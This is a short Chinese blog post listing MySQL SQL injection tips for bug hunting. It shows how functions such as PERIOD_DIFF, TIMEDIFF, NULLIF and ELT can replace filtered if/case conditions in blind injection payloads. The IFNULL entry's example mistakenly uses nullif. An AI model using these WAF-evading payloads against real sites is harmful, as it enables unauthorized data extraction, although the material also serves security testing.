最近疫情搞的有些emo了,一直在被隔离,写点东西记录下吧
最近一直没学习,一直在挖漏洞,说点mysql sql注入挖掘tips吧
先来常见的
(1)if:
SELECT if(1\=1,1,0)
(2)case when:
SELECT case when 1\=1 then 1 else 0 end
这是常见的,一般条件判断用这两个是最多的,如果waf/程序处理了这些条件判断,我们还可以注入吗?
答:可以的
来点非常规的:
(3):PERIOD_DIFF ,时间函数 需要配合xor/or/and
为真,返回0,不为真返回其他数字
跑注入的用法如下:
and 1\=PERIOD\_DIFF(ascii(1),\*)
and 1\=PERIOD\_DIFF(ascii(1),\*)
(4)TIMEDIFF 和PERIOD_DIFF函数类似
select TIMEDIFF(ascii(1),49)
(5):NULLIF 个人比较喜欢用这个
如果两个数,比较结果为真,那么返回null,否则返回第一个表达式
select nullif(ascii(1),49)
(6) IFNULL 和NULLIF函数类似:
解释:假如expr1不为NULL,则 IFNULL() 的返回值为expr1; 否则其返回值为 expr2。IFNULL()的返回值是数字或是字符串,具体情况取决于其所使用的语境。
select nullif(ascii(2),42)
(7)elt函数
解释参考:
select elt('r'\='r',1);
refer:phpoop,f0ng